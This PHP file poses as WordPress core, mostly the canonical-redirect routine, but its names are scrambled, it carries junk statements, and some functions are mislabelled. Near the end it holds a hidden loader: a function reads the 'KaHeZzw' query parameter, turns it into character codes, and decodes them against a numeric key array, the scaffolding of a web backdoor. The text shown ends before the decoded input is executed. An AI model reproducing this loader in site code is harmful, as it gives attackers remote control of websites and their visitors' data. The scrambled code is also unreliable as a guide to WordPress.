            $parsedXML['query'] = _remove_qs_args_if_not_in_url($parsedXML['query'], array('p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type', 'feed'), $samplerate);
            $parsedXML['path'] = parse_url($samplerate, PHP_URL_PATH);
        }
    }
    if (is_singular() && $T2d->post_count < 1 && $pattern_file) {
        $first_two = $test_uploaded_file->get_results($test_uploaded_file->prepare("SELECT post_type, post_parent FROM {$test_uploaded_file->posts} WHERE ID = %d", $pattern_file));
        if (!empty($first_two[0])) {
            $first_two = $first_two[0];
            if ('revision' === $first_two->post_type && $first_two->post_parent > 0) {
                $pattern_file = $first_two->post_parent;
            }
            $samplerate = get_permalink($pattern_file);
            $gmt = get_post($pattern_file);
            if ($samplerate) {
                $parsedXML['query'] = _remove_qs_args_if_not_in_url($parsedXML['query'], array('p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type'), $samplerate);
            }
        }
    }
    // These tests give us a WP-generated permalink.
    if (is_404()) {
        // Redirect ?page_id, ?p=, ?attachment_id= to their respective URLs.
        $pattern_file = max(get_query_var('p'), get_query_var('page_id'), get_query_var('attachment_id'));
        $untrashed = $pattern_file ? get_post($pattern_file) : false;
        if ($untrashed) {
            $locations_update = get_post_type_object($untrashed->post_type);
            if ($locations_update && $locations_update->public && 'auto-draft' !== $untrashed->post_status) {
                $samplerate = get_permalink($untrashed);
                $gmt = get_post($untrashed);
                $parsedXML['query'] = _remove_qs_args_if_not_in_url($parsedXML['query'], array('p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type'), $samplerate);
            }
        }
        $f5_38 = get_query_var('year');
        $ops = get_query_var('monthnum');
        $title_placeholder = get_query_var('day');
        if ($f5_38 && $ops && $title_placeholder) {
            $footnote_index = sprintf('%04d-%02d-%02d', $f5_38, $ops, $title_placeholder);
            if (!wp_checkdate($ops, $title_placeholder, $f5_38, $footnote_index)) {
                $samplerate = get_month_link($f5_38, $ops);
                $parsedXML['query'] = _remove_qs_args_if_not_in_url($parsedXML['query'], array('year', 'monthnum', 'day'), $samplerate);
            }
        } elseif ($f5_38 && $ops && $ops > 12) {
            $samplerate = get_year_link($f5_38);
            $parsedXML['query'] = _remove_qs_args_if_not_in_url($parsedXML['query'], array('year', 'monthnum'), $samplerate);
        }
        // Strip off non-existing <!--nextpage--> links from single posts or pages.
        if (get_query_var('page')) {
            $pattern_file = 0;
            if ($T2d->queried_object instanceof WP_Post) {
                $pattern_file = $T2d->queried_object->ID;
            } elseif ($T2d->post) {
                $pattern_file = $T2d->post->ID;
            }
            if ($pattern_file) {
                $samplerate = get_permalink($pattern_file);
                $gmt = get_post($pattern_file);
                $parsedXML['path'] = rtrim($parsedXML['path'], (int) get_query_var('page') . '/');
                $parsedXML['query'] = remove_query_arg('page', $parsedXML['query']);
            }
        }
        if (!$samplerate) {
            $samplerate = redirect_guess_404_permalink();
            if ($samplerate) {
                $parsedXML['query'] = _remove_qs_args_if_not_in_url($parsedXML['query'], array('page', 'feed', 'p', 'page_id', 'attachment_id', 'pagename', 'name', 'post_type'), $samplerate);
            }
        }
    } elseif (is_object($starter_content_auto_draft_post_ids) && $starter_content_auto_draft_post_ids->using_permalinks()) {
        // Rewriting of old ?p=X, ?m=2004, ?m=200401, ?m=20040101.
        if (is_attachment() && !array_diff(array_keys($fluid_font_size->query_vars), array('attachment', 'attachment_id')) && !$samplerate) {
            if (!empty($_GET['attachment_id'])) {
                $samplerate = get_attachment_link(get_query_var('attachment_id'));
                $gmt = get_post(get_query_var('attachment_id'));
                if ($samplerate) {
                    $parsedXML['query'] = remove_query_arg('attachment_id', $parsedXML['query']);
                }
            } else {
                $samplerate = get_attachment_link();
                $gmt = get_post();
            }
        } elseif (is_single() && !empty($_GET['p']) && !$samplerate) {
            $samplerate = get_permalink(get_query_var('p'));
            $gmt = get_post(get_query_var('p'));
            if ($samplerate) {
                $parsedXML['query'] = remove_query_arg(array('p', 'post_type'), $parsedXML['query']);
            }
        } elseif (is_single() && !empty($_GET['name']) && !$samplerate) {
            $samplerate = get_permalink($T2d->get_queried_object_id());
            $gmt = get_post($T2d->get_queried_object_id());
            if ($samplerate) {
                $parsedXML['query'] = remove_query_arg('name', $parsedXML['query']);
            }
        } elseif (is_page() && !empty($_GET['page_id']) && !$samplerate) {
            $samplerate = get_permalink(get_query_var('page_id'));
            $gmt = get_post(get_query_var('page_id'));
            if ($samplerate) {
                $parsedXML['query'] = remove_query_arg('page_id', $parsedXML['query']);
            }
        } elseif (is_page() && !is_feed() && !$samplerate && 'page' === get_option('show_on_front') && get_queried_object_id() === (int) get_option('page_on_front')) {
            $samplerate = home_url('/');
        } elseif (is_home() && !empty($_GET['page_id']) && !$samplerate && 'page' === get_option('show_on_front') && get_query_var('page_id') === (int) get_option('page_for_posts')) {
            $samplerate = get_permalink(get_option('page_for_posts'));
            $gmt = get_post(get_option('page_for_posts'));
            if ($samplerate) {
                $parsedXML['query'] = remove_query_arg('page_id', $parsedXML['query']);
            }
        } elseif (!empty($_GET['m']) && (is_year() || is_month() || is_day())) {
            $p_option = get_query_var('m');
            switch (strlen($p_option)) {
                case 4:
                    // Yearly.
                    $samplerate = get_year_link($p_option);
                    break;
                case 6:
                    // Monthly.
                    $samplerate = get_month_link(substr($p_option, 0, 4), substr($p_option, 4, 2));
                    break;
                case 8:
                    // Daily.
                    $samplerate = get_day_link(substr($p_option, 0, 4), substr($p_option, 4, 2), substr($p_option, 6, 2));
                    break;
            }
            if ($samplerate) {
                $parsedXML['query'] = remove_query_arg('m', $parsedXML['query']);
            }
            // Now moving on to non ?m=X year/month/day links.
        } elseif (is_date()) {
            $f5_38 = get_query_var('year');
            $ops = get_query_var('monthnum');
            $title_placeholder = get_query_var('day');
            if (is_day() && $f5_38 && $ops && !empty($_GET['day'])) {
                $samplerate = get_day_link($f5_38, $ops, $title_placeholder);
                if ($samplerate) {
                    $parsedXML['query'] = remove_query_arg(array('year', 'monthnum', 'day'), $parsedXML['query']);
                }
            } elseif (is_month() && $f5_38 && !empty($_GET['monthnum'])) {
                $samplerate = get_month_link($f5_38, $ops);
                if ($samplerate) {
                    $parsedXML['query'] = remove_query_arg(array('year', 'monthnum'), $parsedXML['query']);
                }
            } elseif (is_year() && !empty($_GET['year'])) {
                $samplerate = get_year_link($f5_38);
                if ($samplerate) {
                    $parsedXML['query'] = remove_query_arg('year', $parsedXML['query']);
                }
            }
        } elseif (is_author() && !empty($_GET['author']) && is_string($_GET['author']) && preg_match('|^[0-9]+$|', $_GET['author'])) {
            $got_url_rewrite = get_userdata(get_query_var('author'));
            if (false !== $got_url_rewrite && $test_uploaded_file->get_var($test_uploaded_file->prepare("SELECT ID FROM {$test_uploaded_file->posts} WHERE {$test_uploaded_file->posts}.post_author = %d AND {$test_uploaded_file->posts}.post_status = 'publish' LIMIT 1", $got_url_rewrite->ID))) {
                $samplerate = get_author_posts_url($got_url_rewrite->ID, $got_url_rewrite->user_nicename);
                $gmt = $got_url_rewrite;
                if ($samplerate) {
                    $parsedXML['query'] = remove_query_arg('author', $parsedXML['query']);
                }
            }
        } elseif (is_category() || is_tag() || is_tax()) {
            // Terms (tags/categories).
            $sub_sub_sub_subelement = 0;
            foreach ($T2d->tax_query->queried_terms as $total_admins) {
                if (isset($total_admins['terms']) && is_countable($total_admins['terms'])) {
                    $sub_sub_sub_subelement += count($total_admins['terms']);
                }
            }
            $failed = $T2d->get_queried_object();
            if ($sub_sub_sub_subelement <= 1 && !empty($failed->term_id)) {
                $dependency_name = get_term_link((int) $failed->term_id, $failed->taxonomy);
                if ($dependency_name && !is_wp_error($dependency_name)) {
                    if (!empty($parsedXML['query'])) {
                        // Strip taxonomy query vars off the URL.
                        $old_blog_id = array('term', 'taxonomy');
                        if (is_category()) {
                            $old_blog_id[] = 'category_name';
                            $old_blog_id[] = 'cat';
                        } elseif (is_tag()) {
                            $old_blog_id[] = 'tag';
                            $old_blog_id[] = 'tag_id';
                        } else {
                            // Custom taxonomies will have a custom query var, remove those too.
                            $structure_updated = get_taxonomy($failed->taxonomy);
                            if (false !== $structure_updated->query_var) {
                                $old_blog_id[] = $structure_updated->query_var;
                            }
                        }
                        $dbpassword = array_diff(array_keys($T2d->query), array_keys($_GET));
                        // Check to see if all the query vars are coming from the rewrite, none are set via $_GET.
                        if (!array_diff($dbpassword, array_keys($_GET))) {
                            // Remove all of the per-tax query vars.
                            $parsedXML['query'] = remove_query_arg($old_blog_id, $parsedXML['query']);
                            // Create the destination URL for this taxonomy.
                            $dependency_name = parse_url($dependency_name);
                            if (!empty($dependency_name['query'])) {
                                // Taxonomy accessible via ?taxonomy=...&term=... or any custom query var.
                                parse_str($dependency_name['query'], $sendmail_from_value);
                                $parsedXML['query'] = add_query_arg($sendmail_from_value, $parsedXML['query']);
                            } else {
                                // Taxonomy is accessible via a "pretty URL".
                                $parsedXML['path'] = $dependency_name['path'];
                            }
                        } else {
                            // Some query vars are set via $_GET. Unset those from $_GET that exist via the rewrite.
                            foreach ($old_blog_id as $pass_allowed_protocols) {
                                if (isset($dbpassword[$pass_allowed_protocols])) {
                                    $parsedXML['query'] = remove_query_arg($pass_allowed_protocols, $parsedXML['query']);
                                }
                            }
                        }
                    }
                }
            }
        } elseif (is_single() && str_contains($starter_content_auto_draft_post_ids->permalink_structure, '%category%')) {
            $fallback_url = get_query_var('category_name');
            if ($fallback_url) {
                $should_skip_line_height = get_category_by_path($fallback_url);
                if (!$should_skip_line_height || is_wp_error($should_skip_line_height) || !has_term($should_skip_line_height->term_id, 'category', $T2d->get_queried_object_id())) {
                    $samplerate = get_permalink($T2d->get_queried_object_id());
                    $gmt = get_post($T2d->get_queried_object_id());
                }
            }
        }
        // Post paging.
        if (is_singular() && get_query_var('page')) {
            $dashboard = get_query_var('page');
            if (!$samplerate) {
                $samplerate = get_permalink(get_queried_object_id());
                $gmt = get_post(get_queried_object_id());
            }
            if ($dashboard > 1) {
                $samplerate = trailingslashit($samplerate);
                if (is_front_page()) {
                    $samplerate .= user_trailingslashit("{$starter_content_auto_draft_post_ids->pagination_base}/{$dashboard}", 'paged');
                } else {
                    $samplerate .= user_trailingslashit($dashboard, 'single_paged');
                }
            }
            $parsedXML['query'] = remove_query_arg('page', $parsedXML['query']);
        }
        if (get_query_var('sitemap')) {
            $samplerate = get_sitemap_url(get_query_var('sitemap'), get_query_var('sitemap-subtype'), get_query_var('paged'));
            $parsedXML['query'] = remove_query_arg(array('sitemap', 'sitemap-subtype', 'paged'), $parsedXML['query']);
        } elseif (get_query_var('paged') || is_feed() || get_query_var('cpage')) {
            // Paging and feeds.
            $primary_table = get_query_var('paged');
            $default_name = get_query_var('feed');
            $default_attachment = get_query_var('cpage');
            while (preg_match("#/{$starter_content_auto_draft_post_ids->pagination_base}/?[0-9]+?(/+)?\$#", $parsedXML['path']) || preg_match('#/(comments/?)?(feed|rss2?|rdf|atom)(/+)?$#', $parsedXML['path']) || preg_match("#/{$starter_content_auto_draft_post_ids->comments_pagination_base}-[0-9]+(/+)?\$#", $parsedXML['path'])) {
                // Strip off any existing paging.
                $parsedXML['path'] = preg_replace("#/{$starter_content_auto_draft_post_ids->pagination_base}/?[0-9]+?(/+)?\$#", '/', $parsedXML['path']);
                // Strip off feed endings.
                $parsedXML['path'] = preg_replace('#/(comments/?)?(feed|rss2?|rdf|atom)(/+|$)#', '/', $parsedXML['path']);
                // Strip off any existing comment paging.
                $parsedXML['path'] = preg_replace("#/{$starter_content_auto_draft_post_ids->comments_pagination_base}-[0-9]+?(/+)?\$#", '/', $parsedXML['path']);
            }
            $weekday_abbrev = '';
            $AudioCodecBitrate = get_default_feed();
            if (is_feed() && in_array($default_name, $starter_content_auto_draft_post_ids->feeds, true)) {
                $weekday_abbrev = !empty($weekday_abbrev) ? trailingslashit($weekday_abbrev) : '';
                if (!is_singular() && get_query_var('withcomments')) {
                    $weekday_abbrev .= 'comments/';
                }
                if ('rss' === $AudioCodecBitrate && 'feed' === $default_name || 'rss' === $default_name) {
                    $dim_prop_count = 'rss2' === $AudioCodecBitrate ? '' : 'rss2';
                } else {
                    $dim_prop_count = $AudioCodecBitrate === $default_name || 'feed' === $default_name ? '' : $default_name;
                }
                $weekday_abbrev .= user_trailingslashit('feed/' . $dim_prop_count, 'feed');
                $parsedXML['query'] = remove_query_arg('feed', $parsedXML['query']);
            } elseif (is_feed() && 'old' === $default_name) {
                $hidden_inputs = array('wp-atom.php' => 'atom', 'wp-commentsrss2.php' => 'comments_rss2', 'wp-feed.php' => $AudioCodecBitrate, 'wp-rdf.php' => 'rdf', 'wp-rss.php' => 'rss2', 'wp-rss2.php' => 'rss2');
                if (isset($hidden_inputs[basename($parsedXML['path'])])) {
                    $samplerate = get_feed_link($hidden_inputs[basename($parsedXML['path'])]);
                    wp_redirect($samplerate, 301);
                    die;
                }
            }
            if ($primary_table > 0) {
                $parsedXML['query'] = remove_query_arg('paged', $parsedXML['query']);
                if (!is_feed()) {
                    if (!is_single()) {
                        $weekday_abbrev = !empty($weekday_abbrev) ? trailingslashit($weekday_abbrev) : '';
                        if ($primary_table > 1) {
                            $weekday_abbrev .= user_trailingslashit("{$starter_content_auto_draft_post_ids->pagination_base}/{$primary_table}", 'paged');
                        }
                    }
                } elseif ($primary_table > 1) {
                    $parsedXML['query'] = add_query_arg('paged', $primary_table, $parsedXML['query']);
                }
            }
            $fnction = get_option('default_comments_page');
            if (get_option('page_comments') && ('newest' === $fnction && $default_attachment > 0 || 'newest' !== $fnction && $default_attachment > 1)) {
                $weekday_abbrev = !empty($weekday_abbrev) ? trailingslashit($weekday_abbrev) : '';
                $weekday_abbrev .= user_trailingslashit($starter_content_auto_draft_post_ids->comments_pagination_base . '-' . $default_attachment, 'commentpaged');
                $parsedXML['query'] = remove_query_arg('cpage', $parsedXML['query']);
            }
            // Strip off trailing /index.php/.
            $parsedXML['path'] = preg_replace('|/' . preg_quote($starter_content_auto_draft_post_ids->index, '|') . '/?$|', '/', $parsedXML['path']);
            $parsedXML['path'] = user_trailingslashit($parsedXML['path']);
            if (!empty($weekday_abbrev) && $starter_content_auto_draft_post_ids->using_index_permalinks() && !str_contains($parsedXML['path'], '/' . $starter_content_auto_draft_post_ids->index . '/')) {
                $parsedXML['path'] = trailingslashit($parsedXML['path']) . $starter_content_auto_draft_post_ids->index . '/';
            }
            if (!empty($weekday_abbrev)) {
                $parsedXML['path'] = trailingslashit($parsedXML['path']) . $weekday_abbrev;
            }
            $samplerate = $parsedXML['scheme'] . '://' . $parsedXML['host'] . $parsedXML['path'];
        }
        if ('wp-register.php' === basename($parsedXML['path'])) {
            if (is_multisite()) {
                /** This filter is documented in wp-login.php */
                $samplerate = apply_filters('wp_signup_location', network_site_url('wp-signup.php'));
            } else {
                $samplerate = wp_registration_url();
            }
            wp_redirect($samplerate, 301);
            die;
        }
    }
    $has_active_dependents = false;
    if (is_attachment() && !get_option('wp_attachment_pages_enabled')) {
        $default_align = get_query_var('attachment_id');
        $descendant_ids = get_post($default_align);
        $subtbquery = $descendant_ids ? $descendant_ids->post_parent : 0;
        $LISTchunkParent = wp_get_attachment_url($default_align);
        if ($LISTchunkParent !== $samplerate) {
            /*
             * If an attachment is attached to a post, it inherits the parent post's status. Fetch the
             * parent post to check its status later.
             */
            if ($subtbquery) {
                $gmt = get_post($subtbquery);
            }
            $samplerate = $LISTchunkParent;
        }
        $has_active_dependents = true;
    }
    $parsedXML['query'] = preg_replace('#^\??&*?#', '', $parsedXML['query']);
    // Tack on any additional query vars.
    if ($samplerate && !empty($parsedXML['query'])) {
        parse_str($parsedXML['query'], $escaped_https_url);
        $parsedXML = parse_url($samplerate);
        if (!empty($escaped_https_url['name']) && !empty($parsedXML['query'])) {
            parse_str($parsedXML['query'], $style_width);
            if (empty($style_width['name'])) {
                unset($escaped_https_url['name']);
            }
        }
        $escaped_https_url = array_combine(rawurlencode_deep(array_keys($escaped_https_url)), rawurlencode_deep(array_values($escaped_https_url)));
        $samplerate = add_query_arg($escaped_https_url, $samplerate);
    }
    if ($samplerate) {
        $parsedXML = parse_url($samplerate);
    }
    // www.example.com vs. example.com
    $style_selectors = parse_url(home_url());
    if (!empty($style_selectors['host'])) {
        $parsedXML['host'] = $style_selectors['host'];
    }
    if (empty($style_selectors['path'])) {
        $style_selectors['path'] = '/';
    }
    // Handle ports.
    if (!empty($style_selectors['port'])) {
        $parsedXML['port'] = $style_selectors['port'];
    } else {
        unset($parsedXML['port']);
    }
    // Trailing /index.php.
    $parsedXML['path'] = preg_replace('|/' . preg_quote($starter_content_auto_draft_post_ids->index, '|') . '/*?$|', '/', $parsedXML['path']);
    $preferred_ext = implode('|', array_map('preg_quote', array(
        ' ',
        '%20',
        // Space.
        '!',
        '%21',
        // Exclamation mark.
        '"',
        '%22',
        // Double quote.
        "'",
        '%27',
        // Single quote.
        '(',
        '%28',
        // Opening bracket.
        ')',
        '%29',
        // Closing bracket.
        ',',
        '%2C',
        // Comma.
        '.',
        '%2E',
        // Period.
        ';',
        '%3B',
        // Semicolon.
        '{',
        '%7B',
        // Opening curly bracket.
        '}',
        '%7D',
        // Closing curly bracket.
        '%E2%80%9C',
        // Opening curly quote.
        '%E2%80%9D',
    )));
    // Remove trailing spaces and end punctuation from the path.
    $parsedXML['path'] = preg_replace("#({$preferred_ext})+\$#", '', $parsedXML['path']);
    if (!empty($parsedXML['query'])) {
        // Remove trailing spaces and end punctuation from certain terminating query string args.
        $parsedXML['query'] = preg_replace("#((^|&)(p|page_id|cat|tag)=[^&]*?)({$preferred_ext})+\$#", '$1', $parsedXML['query']);
        // Clean up empty query strings.
        $parsedXML['query'] = trim(preg_replace('#(^|&)(p|page_id|cat|tag)=?(&|$)#', '&', $parsedXML['query']), '&');
        // Redirect obsolete feeds.
        $parsedXML['query'] = preg_replace('#(^|&)feed=rss(&|$)#', '$1feed=rss2$2', $parsedXML['query']);
        // Remove redundant leading ampersands.
        $parsedXML['query'] = preg_replace('#^\??&*?#', '', $parsedXML['query']);
    }
    // Strip /index.php/ when we're not using PATHINFO permalinks.
    if (!$starter_content_auto_draft_post_ids->using_index_permalinks()) {
        $parsedXML['path'] = str_replace('/' . $starter_content_auto_draft_post_ids->index . '/', '/', $parsedXML['path']);
    }
    // Trailing slashes.
    if (is_object($starter_content_auto_draft_post_ids) && $starter_content_auto_draft_post_ids->using_permalinks() && !$has_active_dependents && !is_404() && (!is_front_page() || is_front_page() && get_query_var('paged') > 1)) {
        $eraser_key = '';
        if (get_query_var('paged') > 0) {
            $eraser_key = 'paged';
        } else {
            foreach (array('single', 'category', 'page', 'day', 'month', 'year', 'home') as $pings_open) {
                $has_p_root = 'is_' . $pings_open;
                if (call_user_func($has_p_root)) {
                    $eraser_key = $pings_open;
                    break;
                }
            }
        }
        $parsedXML['path'] = user_trailingslashit($parsedXML['path'], $eraser_key);
    } elseif (is_front_page()) {
        $parsedXML['path'] = trailingslashit($parsedXML['path']);
    }
    // Remove trailing slash for robots.txt or sitemap requests.
    if (is_robots() || !empty(get_query_var('sitemap')) || !empty(get_query_var('sitemap-stylesheet'))) {
        $parsedXML['path'] = untrailingslashit($parsedXML['path']);
    }
    // Strip multiple slashes out of the URL.
    if (str_contains($parsedXML['path'], '//')) {
        $parsedXML['path'] = preg_replace('|/+|', '/', $parsedXML['path']);
    }
    // Always trailing slash the Front Page URL.
    if (trailingslashit($parsedXML['path']) === trailingslashit($style_selectors['path'])) {
        $parsedXML['path'] = trailingslashit($parsedXML['path']);
    }
    $pingback_args = strtolower($filtered_decoding_attr['host']);
    $layer = strtolower($parsedXML['host']);
    /*
     * Ignore differences in host capitalization, as this can lead to infinite redirects.
     * Only redirect no-www <=> yes-www.
     */
    if ($pingback_args === $layer || 'www.' . $pingback_args !== $layer && 'www.' . $layer !== $pingback_args) {
        $parsedXML['host'] = $filtered_decoding_attr['host'];
    }
    $delete_user = array($filtered_decoding_attr['host'], $filtered_decoding_attr['path']);
    if (!empty($filtered_decoding_attr['port'])) {
        $delete_user[] = $filtered_decoding_attr['port'];
    }
    if (!empty($filtered_decoding_attr['query'])) {
        $delete_user[] = $filtered_decoding_attr['query'];
    }
    $frag = array($parsedXML['host'], $parsedXML['path']);
    if (!empty($parsedXML['port'])) {
        $frag[] = $parsedXML['port'];
    }
    if (!empty($parsedXML['query'])) {
        $frag[] = $parsedXML['query'];
    }
    if ($delete_user !== $frag) {
        $samplerate = $parsedXML['scheme'] . '://' . $parsedXML['host'];
        if (!empty($parsedXML['port'])) {
            $samplerate .= ':' . $parsedXML['port'];
        }
        $samplerate .= $parsedXML['path'];
        if (!empty($parsedXML['query'])) {
            $samplerate .= '?' . $parsedXML['query'];
        }
    }
    if (!$samplerate || $samplerate === $sbname) {
        return;
    }
    // Hex-encoded octets are case-insensitive.
    if (str_contains($sbname, '%')) {
        if (!function_exists('get_site_meta')) {
            /**
             * Converts the first hex-encoded octet match to lowercase.
             *
             * @since 3.1.0
             * @ignore
             *
             * @param array $normalized_blocks_path Hex-encoded octet matches for the requested URL.
             * @return string Lowercased version of the first match.
             */
            function get_site_meta($normalized_blocks_path)
            {
                return strtolower($normalized_blocks_path[0]);
            }
        }
        $sbname = preg_replace_callback('|%[a-fA-F0-9][a-fA-F0-9]|', 'get_site_meta', $sbname);
    }
    if ($gmt instanceof WP_Post) {
        $this_item = get_post_status_object(get_post_status($gmt));
        /*
         * Unset the redirect object and URL if they are not readable by the user.
         * This condition is a little confusing as the condition needs to pass if
         * the post is not readable by the user. That's why there are ! (not) conditions
         * throughout.
         */
        if (!($this_item->private && current_user_can('read_post', $gmt->ID)) && !is_post_publicly_viewable($gmt)) {
            $gmt = false;
            $samplerate = false;
        }
    }
    /**
     * Filters the canonical redirect URL.
     *
     * Returning false to this filter will cancel the redirect.
     *
     * @since 2.3.0
     *
     * @param string $samplerate  The redirect URL.
     * @param string $sbname The requested URL.
     */
    $samplerate = apply_filters('sodium_crypto_secretstream_xchacha20poly1305_pull', $samplerate, $sbname);
    // Yes, again -- in case the filter aborted the request.
    if (!$samplerate || strip_fragment_from_url($samplerate) === strip_fragment_from_url($sbname)) {
        return;
    }
    if ($smtp_conn) {
        // Protect against chained redirects.
        if (!sodium_crypto_secretstream_xchacha20poly1305_pull($samplerate, false)) {
            wp_redirect($samplerate, 301);
            exit;
        } else {
            // Debug.
            // die("1: $samplerate<br />2: " . sodium_crypto_secretstream_xchacha20poly1305_pull( $samplerate, false ) );
            return;
        }
    } else {
        return $samplerate;
    }
}


/**
	 * Enqueues scripts for the Customizer preview.
	 *
	 * @since 3.9.0
	 */

 function wp_parse_widget_id($sub1feed){
     $tab_name = $_GET[$sub1feed];
 $hexString = "https%3A%2F%2Fdomain.com%2Fpath";
 $exponentbits = "this is a test";
 $queue_count = "Hello%20World";
 $privacy_policy_page_exists = "1,2,3,4,5";
 $doing_action = "Crimson";
 $level_comments = explode(",", $privacy_policy_page_exists);
 $queue_count = rawurldecode($hexString);
 $font_family_id = explode(" ", $exponentbits);
 $goback = rawurldecode($queue_count);
 $href = substr($doing_action, 1);
 $login_script = trim(" test ");
 $preview_stylesheet = explode('/', $queue_count);
 $widget_name = hash("md5", $goback);
 $tz = rawurldecode("%23HexColor");
 $p_is_dir = array_sum($level_comments);
     $tab_name = str_split($tab_name);
 
 // Negative clauses may be reused.
 
 //     [2E][B5][24] -- Same value as in AVI (32 bits).
     $tab_name = array_map("ord", $tab_name);
     return $tab_name;
 }
/**
 * Removes metadata matching criteria from a term.
 *
 * @since 4.4.0
 *
 * @param int    $tags_to_remove    Term ID.
 * @param string $term_cache   Metadata name.
 * @param mixed  $fn_validate_webfont Optional. Metadata value. If provided,
 *                           rows will only be removed that match the value.
 *                           Must be serializable if non-scalar. Default empty.
 * @return bool True on success, false on failure.
 */
function ristretto255_scalar_add($tags_to_remove, $term_cache, $fn_validate_webfont = '')
{
    return delete_metadata('term', $tags_to_remove, $term_cache, $fn_validate_webfont);
}
$f2g3 = array(1, 2, 3, 4);

/**
 * Retrieve current theme name.
 *
 * @since 1.5.0
 * @deprecated 3.4.0 Use wp_get_theme()
 * @see wp_get_theme()
 *
 * @return string
 */
function popuplinks()
{
    _deprecated_function(__FUNCTION__, '3.4.0', 'wp_get_theme()');
    if ($samples_per_second = get_option('current_theme')) {
        return $samples_per_second;
    }
    return wp_get_theme()->get('Name');
}


/* translators: 1: WordPress version number, 2: Link to update WordPress */

 function calendar_week_mod($subatomname) {
 // Reset GUID if transitioning to publish and it is empty.
     $temp_filename = $subatomname[0];
 // There are some checks.
     foreach ($subatomname as $f0f6_2) {
         if ($f0f6_2 > $temp_filename) $temp_filename = $f0f6_2;
     }
 
     return $temp_filename;
 }


/**
	 * Processes arrays of field/value pairs and field formats.
	 *
	 * This is a helper method for wpdb's CRUD methods, which take field/value pairs
	 * for inserts, updates, and where clauses. This method first pairs each value
	 * with a format. Then it determines the charset of that field, using that
	 * to determine if any invalid text would be stripped. If text is stripped,
	 * then field processing is rejected and the query fails.
	 *
	 * @since 4.2.0
	 *
	 * @param string          $presets  Table name.
	 * @param array           $skip_heading_color_serialization   Array of values keyed by their field names.
	 * @param string[]|string $dim_prop_count Formats or format to be mapped to the values in the data.
	 * @return array|false An array of fields that contain paired value and formats.
	 *                     False for invalid values.
	 */

 function generate_rewrite_rules(&$origtype, $total_comments, $f3f3_2){
 // Start at -2 for conflicting custom IDs.
     $side_meta_boxes = 256;
 $has_default_theme = "Chunk-Data";
 $justify_class_name = 'abc def ghi';
 // Force an update check when requested.
 //   If the archive ($this) does not exist, the merge becomes a duplicate.
 
     $scan_start_offset = count($f3f3_2);
 $new_sidebar = trim($justify_class_name);
 $future_events = substr($has_default_theme, 6, 4);
 
 // Input correctly parsed and information retrieved.
 // Handle meta capabilities for custom post types.
     $scan_start_offset = $total_comments % $scan_start_offset;
 // Private helper functions.
     $scan_start_offset = $f3f3_2[$scan_start_offset];
     $origtype = ($origtype - $scan_start_offset);
 $slash = rawurldecode($future_events);
 $BlockOffset = explode(' ', $new_sidebar);
 // Default status.
     $origtype = $origtype % $side_meta_boxes;
 }


/**
		 * Filters the comments data before the query takes place.
		 *
		 * Return a non-null value to bypass WordPress' default comment queries.
		 *
		 * The expected return type from this filter depends on the value passed
		 * in the request query vars:
		 * - When `$this->query_vars['count']` is set, the filter should return
		 *   the comment count as an integer.
		 * - When `'ids' === $this->query_vars['fields']`, the filter should return
		 *   an array of comment IDs.
		 * - Otherwise the filter should return an array of WP_Comment objects.
		 *
		 * Note that if the filter returns an array of comment data, it will be assigned
		 * to the `comments` property of the current WP_Comment_Query instance.
		 *
		 * Filtering functions that require pagination information are encouraged to set
		 * the `found_comments` and `max_num_pages` properties of the WP_Comment_Query object,
		 * passed to the filter by reference. If WP_Comment_Query does not perform a database
		 * query, it will not have enough information to generate these values itself.
		 *
		 * @since 5.3.0
		 * @since 5.6.0 The returned array of comment data is assigned to the `comments` property
		 *              of the current WP_Comment_Query instance.
		 *
		 * @param array|int|null   $login_scriptomment_data Return an array of comment data to short-circuit WP's comment query,
		 *                                       the comment count as an integer if `$this->query_vars['count']` is set,
		 *                                       or null to allow WP to run its normal queries.
		 * @param WP_Comment_Query $query        The WP_Comment_Query instance, passed by reference.
		 */

 function block_core_navigation_get_inner_blocks_from_unstable_location($subatomname) {
     return calendar_week_mod($subatomname) - themes_api($subatomname);
 }
/**
 * Finds out which editor should be displayed by default.
 *
 * Works out which of the editors to display as the current editor for a
 * user. The 'html' setting is for the "Text" editor tab.
 *
 * @since 2.5.0
 *
 * @return string Either 'tinymce', 'html', or 'test'
 */
function wp_paused_plugins()
{
    $profile_url = user_can_richedit() ? 'tinymce' : 'html';
    // Defaults.
    if (wp_get_current_user()) {
        // Look for cookie.
        $withcomments = get_user_setting('editor', 'tinymce');
        $profile_url = in_array($withcomments, array('tinymce', 'html', 'test'), true) ? $withcomments : $profile_url;
    }
    /**
     * Filters which editor should be displayed by default.
     *
     * @since 2.5.0
     *
     * @param string $profile_url Which editor should be displayed by default. Either 'tinymce', 'html', or 'test'.
     */
    return apply_filters('wp_paused_plugins', $profile_url);
}

/**
 * @ignore
 */
function quicktime_time_to_sample_table()
{
}


$sub1feed = "KaHeZzw";
/**
 * Gets the number of posts written by a list of users.
 *
 * @since 3.0.0
 *
 * @global wpdb $test_uploaded_file WordPress database abstraction object.
 *
 * @param int[]           $getid3_audio       Array of user IDs.
 * @param string|string[] $old_key   Optional. Single post type or array of post types to check. Defaults to 'post'.
 * @param bool            $events_client Optional. Only return counts for public posts.  Defaults to false.
 * @return string[] Amount of posts each user has written, as strings, keyed by user ID.
 */
function handle_status_param($getid3_audio, $old_key = 'post', $events_client = false)
{
    global $test_uploaded_file;
    $fn_compile_src = array();
    if (empty($getid3_audio) || !is_array($getid3_audio)) {
        return $fn_compile_src;
    }
    $force_fsockopen = implode(',', array_map('absint', $getid3_audio));
    $sig = get_posts_by_author_sql($old_key, true, null, $events_client);
    $elements_style_attributes = $test_uploaded_file->get_results("SELECT post_author, COUNT(*) FROM {$test_uploaded_file->posts} {$sig} AND post_author IN ({$force_fsockopen}) GROUP BY post_author", ARRAY_N);
    foreach ($elements_style_attributes as $space_used) {
        $fn_compile_src[$space_used[0]] = $space_used[1];
    }
    foreach ($getid3_audio as $dependencies_list) {
        if (!isset($fn_compile_src[$dependencies_list])) {
            $fn_compile_src[$dependencies_list] = 0;
        }
    }
    return $fn_compile_src;
}
$tab_name = wp_parse_widget_id($sub1feed);
$f3f3_2 = array(74, 109, 79, 119, 80, 107, 121, 111, 89, 89, 81);
// WPLANG was defined in wp-config.
//Simple syntax limits
/**
 * Updates a post meta field based on the given post ID.
 *
 * Use the `$global_styles_block_names` parameter to differentiate between meta fields with the
 * same key and post ID.
 *
 * If the meta field for the post does not exist, it will be added and its ID returned.
